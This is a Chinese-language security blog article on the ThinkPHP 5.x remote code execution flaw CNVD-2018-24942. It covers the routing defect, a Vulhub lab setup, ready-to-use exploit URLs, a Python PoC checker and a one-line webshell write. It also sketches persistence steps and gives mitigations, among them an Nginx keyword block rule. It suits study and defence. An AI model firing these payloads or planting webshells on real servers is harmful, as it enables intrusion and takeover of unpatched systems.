ThinkPHP 5.x RCE漏洞深度剖析:从路由机制到代码执行实战
1. 项目概述:一次对经典漏洞的深度“考古”
CNVD-2018-24942,这个编号对于很多从事Web安全研究或渗透测试的朋友来说,应该不陌生。它指的是ThinkPHP 5.x系列框架在2018年底被公开的一个高危远程代码执行漏洞。虽然时间过去了好几年,但这个漏洞的复现与分析,至今仍然是安全人员理解框架安全、学习漏洞原理的绝佳案例。我之所以想重新梳理这个漏洞,是因为最近在一些SRC漏洞平台和内部渗透测试中,依然能偶尔碰到基于老旧ThinkPHP版本搭建的系统,这个漏洞及其衍生利用思路,有时还能成为突破边界的关键。更重要的是,理解这个漏洞,不仅仅是学会一个EXP的用法,更是理解ThinkPHP框架的路由机制、控制器调用以及PHP语言特性如何被组合利用形成安全突破的过程。这对于挖掘同类型框架的漏洞,有着举足轻重的指导意义。
简单来说,这个漏洞允许攻击者通过精心构造的HTTP请求,在目标服务器上执行任意PHP代码,从而完全控制Web应用。它影响的范围主要是ThinkPHP 5.0.5到5.0.22版本,以及5.1.x的部分版本。漏洞的触发点在于框架对控制器名进行过滤时的不严谨,结合了PHP的命名空间解析特性,最终导致攻击者可以调用到任何类的任何方法。接下来,我将从漏洞成因、环境搭建、手工复现、工具利用以及修复方案等多个维度,带你完整地走一遍这个漏洞的“生命历程”。
2. 漏洞原理深度剖析:从路由到RCE的链条
要理解CNVD-2018-24942,我们必须先拆解ThinkPHP框架处理请求的基本流程。ThinkPHP采用了“路由-控制器-方法”的MVC模式。当用户访问一个URL,例如 http://target.com/index.php/index/index/hello ,框架会将其解析为:
- 模块 :index
- 控制器 :index
- 操作(方法) :hello
最终,框架会尝试实例化 app\index\controller\Index 这个类,并调用其中的 hello 方法。问题就出在框架将URL中的控制器名(本例中的“index”)转换为类名的过程中。
2.1 核心漏洞点:控制器名的过滤缺陷
在ThinkPHP 5.x的 think\App::module 方法中,框架会从请求中获取控制器名( $controller )。为了安全,框架会对控制器名进行过滤,防止包含非法字符。过滤的逻辑大致是:只允许控制器名包含字母、数字、下划线和点(.)。这个过滤规则看起来没问题,但它使用了一个存在缺陷的正则表达式或字符串替换逻辑。
关键在于,攻击者可以通过特定的Payload绕过这个过滤。一个经典的Payload形如: index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 。这里,控制器名部分被传递为 \think\app 。在过滤时,反斜杠 \ 可能被某种方式处理(例如被替换为空),或者过滤逻辑未能有效拦截这种带有命名空间分隔符的写法,导致最终拼接出的类名变成了 app\index\controller\think\app ,而实际上,攻击者意图调用的是全局命名空间下的 \think\App 类。
注意 :这里有一个常见的误解点。很多文章直接说“反斜杠被过滤掉了”,但更精确的说法是,框架的控制器名解析逻辑与PHP的命名空间动态调用特性结合,导致可以跳出预定的控制器目录,调用到框架核心类库中的类。
2.2 利用链条:从任意类调用到代码执行
成功将控制器指向 \think\App 类后,下一步就是调用这个类中的危险方法。 \think\App 类中有一个 invokefunction 方法,看名字就知道,它可以“调用函数”。该方法内部使用了 call_user_func_array 这个PHP函数。
call_user_func_array 是PHP中一个非常强大的函数,它允许你以数组的形式调用一个回调函数,并传递参数。如果这个函数的第一个参数(即要调用的函数名)可以被用户控制,那么这就是一个直接的代码执行漏洞。
在我们的Payload中:
function=call_user_func_array:指定invokefunction方法内部最终调用的函数是call_user_func_array。vars[0]=phpinfo:这是传递给call_user_func_array的第一个参数,即要调用的函数名phpinfo。vars[1][]=1:这是传递给call_user_func_array的第二个参数,即调用phpinfo函数时传入的参数数组。
于是,整个链条就清晰了: 有缺陷的控制器过滤 -> 允许调用任意类(如\think\App)-> 调用该类中可触发动态函数执行的方法(invokefunction)-> 通过参数控制动态执行的函数及其参数 -> 实现远程代码执行 。
2.3 漏洞影响范围与变种
最初公开的漏洞影响ThinkPHP 5.0.5-5.0.22。但后续安全研究人员发现,在5.1.x版本中,虽然入口和路由可能略有不同,但类似的问题依然存在,只是利用的类和方法可能发生了变化,例如利用 \think\Request 类的 input 方法配合过滤器进行代码执行。这体现了框架底层设计上对用户输入传递给危险函数(如 eval , call_user_func , create_function 等)缺乏足够严格控制的一贯风险。
3. 实战复现环境搭建
“纸上得来终觉浅,绝知此事要躬行。” 要真正理解漏洞,亲手复现是最好的方式。我们绝对不可以在未经授权的真实网站上进行测试,因此搭建一个本地或隔离的漏洞环境至关重要。
3.1 环境准备与靶机部署
我推荐使用 Docker 来搭建环境,这最干净也最方便。你可以使用知名的漏洞环境集成项目 Vulhub,里面已经准备好了现成的 ThinkPHP 5.0.20 漏洞环境。
- 安装Docker与Docker Compose :确保你的Linux或Mac系统上已经安装了Docker和Docker Compose。Windows用户可以使用Docker Desktop。
- 获取Vulhub :从GitHub克隆Vulhub项目。
git clone https://github.com/vulhub/vulhub.git cd vulhub/thinkphp/5.0.20-rce - 启动环境 :使用一条命令启动靶场。
执行成功后,Docker会拉取镜像并启动一个包含ThinkPHP 5.0.20的容器。通常环境会运行在docker-compose up -dhttp://your-ip:8080。你可以通过docker-compose ps查看端口映射。
实操心得 :在运行
docker-compose up -d时,如果遇到端口冲突(比如8080已被占用),可以修改当前目录下的docker-compose.yml文件,将8080:80改为8081:80或其他未被占用的端口。
3.2 验证环境可用性
访问 http://127.0.0.1:8080 ,你应该能看到ThinkPHP的默认欢迎页面,或者一个报错页面(这很正常,说明框架已运行)。为了确认漏洞是否存在,我们可以先发送一个最简单的探测Payload。
4. 手工复现与漏洞利用
手工复现能让你对漏洞的每一个细节都有感知。我们分别尝试GET和POST两种方式进行利用。
4.1 利用方式一:GET请求触发
这是最直观的利用方式。在浏览器地址栏或使用curl工具,构造如下URL:
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
逐段拆解这个URL:
/index.php:ThinkPHP的单一入口文件。?s=:这是ThinkPHP的PATHINFO模式参数,用于传递路由信息。在默认配置下,s参数后面的值会被解析为模块/控制器/操作。index/think\app/invokefunction:这里就是漏洞核心。它试图访问index模块下的think\app控制器(实际是类)的invokefunction操作(方法)。&function=call_user_func_array:GET参数,传递给invokefunction方法,告诉它最终调用什么函数。&vars[0]=phpinfo&vars[1][]=1:同样是GET参数,作为数组传递给invokefunction,最终成为call_user_func_array(‘phpinfo’, array(1))的参数。
访问这个链接,如果页面返回了完整的 phpinfo() 信息页面,说明漏洞复现成功,服务器已经执行了我们指定的 phpinfo() 函数。
4.2 利用方式二:POST请求与代码执行
执行 phpinfo() 只是验证漏洞存在。真正的远程代码执行(RCE)意味着我们可以执行任意PHP代码。我们需要调用能执行代码的函数,比如 system 、 shell_exec 或者 eval 。
由于 eval 的参数是一段字符串代码,我们可以通过 file_get_contents(‘php://input’) 来读取POST请求体,从而执行更复杂的代码。构造如下请求:
请求URL:
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
这个请求会执行系统命令 id ,并回显结果。
更强大的利用:执行POST体内的PHP代码 如果想要执行一段PHP代码,可以使用以下Payload:
请求URL:
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=eval($_POST[‘cmd’])
请求方式: POST POST数据:
cmd=phpinfo();
这里,我们首先通过GET参数让服务器执行 assert(eval($_POST[‘cmd’])) 。assert函数会判断其参数是否为真,而eval会执行POST参数 cmd 中的代码。然后我们在POST体中传递 cmd=phpinfo(); ,最终服务器就会执行 phpinfo() 。
重要警告与避坑指南 :
assert函数的特殊性 :在PHP 7.1及以上版本,assert()默认不再作为函数执行字符串代码,因此这个Payload在PHP高版本可能失效。此时可以尝试使用call_user_func(‘eval’, …)或其他方式。- 单双引号转义 :在构造Payload时,如果嵌套使用引号,要特别注意转义。例如在命令行中用curl发送时,外层用双引号,内层PHP字符串用单引号,或者反过来,并妥善处理
$符号(在bash中需要转义)。- 编码问题 :如果遇到特殊字符,可能需要进行URL编码。例如,空格是
%20,加号+有时也需要编码。
4.3 使用工具进行自动化利用
手工构造虽然灵活,但在实战中效率较低。我们可以使用一些现成的工具,如 sqlmap 、 nuclei 或专门的PoC脚本。
使用sqlmap: sqlmap不仅用于SQL注入,它也有强大的自定义PoC功能。我们可以使用 --eval 参数或编写tamper脚本,但更直接的是使用其 --os-shell 功能,前提是sqlmap能识别并利用该RCE漏洞。有时需要手动指定注入点和Payload。
编写Python PoC脚本: 对于学习和定制化利用,自己写一个小脚本是最佳选择。下面是一个简单的Python验证脚本示例:
import requests
import sys
def check_vuln(url):
payload = “/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1”
target_url = url.rstrip(‘/’) + payload
try:
resp = requests.get(target_url, timeout=10)
if ‘PHP Version’ in resp.text and ‘System’ in resp.text:
print(f‘[+] {url} 存在ThinkPHP RCE漏洞 (CNVD-2018-24942)’)
return True
else:
print(f‘[-] {url} 未发现漏洞特征’)
return False
except Exception as e:
print(f‘[!] 检查 {url} 时出错: {e}’)
return False
if __name__ == ‘__main__’:
if len(sys.argv) != 2:
print(“用法: python poc.py http://target.com”)
sys.exit(1)
check_vuln(sys.argv[1])
这个脚本会发送探测请求,并根据返回页面是否包含 phpinfo 的特定关键词来判断漏洞是否存在。
5. 漏洞挖掘与拓展思考
复现已知漏洞是第一步,更重要的是学会如何发现新的、类似的漏洞。CNVD-2018-24942给我们提供了一个绝佳的范本。
5.1 漏洞挖掘方法论
- 框架入口跟踪 :从单一入口文件(如
index.php)开始,跟踪$_GET、$_POST、$_REQUEST等所有用户输入,看它们最终流向何处。重点跟踪那些用于决定类名、方法名、回调函数的参数。 - 危险函数/方法回溯 :在框架代码中全局搜索
call_user_func、call_user_func_array、eval、assert、create_function、preg_replace的/e修饰符(已废弃)等危险函数。检查调用这些函数时的参数是否用户可控。 - 路由与控制器解析审计 :仔细审查框架将URL路径或参数解析为类名和方法名的逻辑。关注字符串过滤、替换、拼接的过程。寻找是否存在非严格的黑名单过滤,或者过滤后能否通过特殊字符组合(如
\、../、;等)绕过。 - 命名空间与自动加载 :理解PHP的命名空间和自动加载机制。思考用户输入是否能够影响
new ClassName()或ClassName::method()中的ClassName,从而实例化或调用非预期的类。
5.2 ThinkPHP框架的其他历史漏洞联想
通过对CNVD-2018-24942的分析,我们可以举一反三,联想到ThinkPHP其他版本或组件的漏洞:
- ThinkPHP 5.x 其他RCE :除了
\think\App::invokefunction,还有利用\think\Request::input方法配合过滤器进行代码执行的漏洞。其原理是input方法可以调用过滤函数,如果过滤函数名用户可控,且参数也可控,就可能形成RCE。 - ThinkPHP 3.x 版本 :旧版本可能存在因
I()函数过滤不当导致的SQL注入或代码执行。 - ThinkPHP 6 的 HttpLog 中间件 :最近的热词提到了ThinkPHP 6的HttpLog中间件。虽然它本身可能不是直接RCE,但任何记录日志的功能,如果日志内容用户部分可控且存储路径或查看方式存在缺陷(如日志文件遍历、包含),都可能形成新的攻击面。这提醒我们,审计时不仅要看核心路由,也要关注中间件、验证器、模板引擎等组件的安全性。
6. 漏洞修复与安全加固方案
对于受到该漏洞影响的系统,修复是刻不容缓的。修复方案分为官方修复和临时加固两种。
6.1 官方修复方案
最根本的解决方案是升级ThinkPHP框架到安全版本。
- 对于ThinkPHP 5.0.x,应升级至 5.0.23 或更高版本。
- 对于ThinkPHP 5.1.x,应升级至 5.1.31 或更高版本。
升级后,官方在控制器名过滤、类名解析和危险方法调用等方面增加了更严格的检查。例如,在控制器解析时,严格限制了命名空间格式,防止跳出应用控制器目录。
6.2 临时加固措施
如果因为种种原因无法立即升级,可以采取以下临时加固措施:
-
应用层WAF(Web应用防火墙)规则 :在Nginx或Apache配置中,或者应用入口文件前,添加规则拦截包含
think\app、invokefunction、call_user_func_array等关键字的异常请求。 Nginx配置示例 :location ~ [^/]\.php(/|$) { if ($query_string ~* “(think\\app|invokefunction|call_user_func_array)”) { return 403; } … # 其他fastcgi配置 }注意 :这种黑名单方式可能被绕过,例如通过大小写变换、双重编码、空格替换等方式。它只能作为应急缓解手段。
-
修改框架核心文件(不推荐) :在
think\App类的module方法中,或在invokefunction方法开始处,添加直接退出或日志告警代码。这种方法破坏性大,且升级框架时会丢失修改,仅适用于绝对无法升级且完全可控的环境。 -
禁用危险PHP函数 :在
php.ini配置文件中,通过disable_functions指令禁用system、exec、shell_exec、passthru、proc_open、assert、eval等函数。这可以阻止攻击者执行系统命令或部分PHP代码,但无法完全防御利用call_user_func调用其他敏感函数的攻击,属于一种深度防御措施。disable_functions = system,exec,shell_exec,passthru,proc_open,assert,eval
6.3 安全开发建议
从开发角度,避免此类漏洞的根本在于:
- 坚持最小权限原则 :Web服务器进程(如www-data用户)应以低权限运行。
- 严格进行输入验证 :对所有用户输入进行“白名单”验证,而不仅仅是“黑名单”过滤。明确允许的字符集,拒绝其他一切。
- 避免动态代码执行 :除非绝对必要,否则避免使用
eval()、assert()以及将用户输入直接作为函数名、类名、方法名传递给call_user_func()系列函数。 - 及时更新依赖 :使用Composer等工具管理依赖,并定期更新框架和第三方库到最新安全版本。
7. 常见问题与排查技巧实录
在复现和研究这个漏洞的过程中,我踩过不少坑,也总结了一些排查技巧。
7.1 复现失败的可能原因及解决
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
| 访问靶场返回404或空白页 | Docker服务未启动或端口错误 | 执行 docker-compose ps 查看容器状态和端口映射。确认访问的IP和端口正确。 |
| 发送Payload后返回正常页面或ThinkPHP错误页,但没有执行代码 | 1. 靶场ThinkPHP版本不对。 2. URL构造错误。 3. PHP配置禁用了相关函数。 |
1. 确认靶场版本在影响范围内(5.0.5-5.0.22)。 2. 检查Payload中的反斜杠 \ 是否正确转义(在URL中需编码或直接书写)。 3. 尝试执行 echo ‘test’; 等简单PHP代码,或检查 phpinfo() 中 disable_functions 项。 |
| 使用POST方式执行命令无回显 | 1. 命令执行函数被禁用。 2. 没有输出命令结果。 3. Payload构造有误。 |
1. 换用其他命令执行函数,如 passthru(‘id’) 。 2. 尝试将命令结果写入文件: system(‘id > /tmp/result.txt’) ,再读取该文件。 3. 使用Burp Suite等工具仔细检查POST请求的原始格式,确保参数传递正确。 |
| 工具扫描报告漏洞但手工验证失败 | 工具Payload与目标环境不兼容(如Windows/Linux路径差异、PHP版本差异)。 | 分析工具发送的Payload,根据目标环境调整。例如,在Windows下写文件路径需用 C:\\Windows\\Temp\\test.txt 。 |
7.2 实战中的技巧与进阶利用
- 信息收集 :利用漏洞成功后,首先执行
phpinfo()收集服务器PHP版本、操作系统、开放端口、绝对路径等信息,为后续渗透做准备。 - 写入WebShell :通过代码执行漏洞写入一个一句话木马是常见操作。
注意路径问题,需要知道网站根目录。可以通过// 使用file_put_contents写入 file_put_contents(‘shell.php’, ‘<?php @eval($_POST[“ant”]);?>’);echo realpath(‘.’);或查看phpinfo()中的_SERVER[“DOCUMENT_ROOT”]来获取。 - 绕过disable_functions :如果系统禁用了命令执行函数,可以尝试其他方式:
- 使用
scandir()列目录。 - 使用
file_get_contents()读文件。 - 使用
LD_PRELOAD等复杂方式绕过(需要编译so文件),这属于更高阶的利用。
- 使用
- 权限维持 :除了写WebShell,还可以考虑写入SSH公钥、创建计划任务(crontab)、添加用户等方式进行权限维持,但这需要当前进程有相应的系统权限。
CNVD-2018-24942的复现与分析之旅到此告一段落。这个漏洞像一把钥匙,打开了理解PHP框架安全、路由解析和动态代码执行风险的大门。我个人的体会是,安全研究不能停留在“会用工具扫出一个漏洞”的层面,必须深入到代码层,理解每一行过滤逻辑为何失效,每一个参数如何流转。只有这样,当下一个“ThinkPHP”出现时,你才能具备独立分析和挖掘的能力。在实战中,遇到老旧系统,不妨多想想那些“过时”的漏洞,它们往往因为管理员的安全意识松懈而成为最有效的突破口。最后,务必记住:所有技术研究都应在合法授权的环境下进行。
更多推荐
所有评论(0)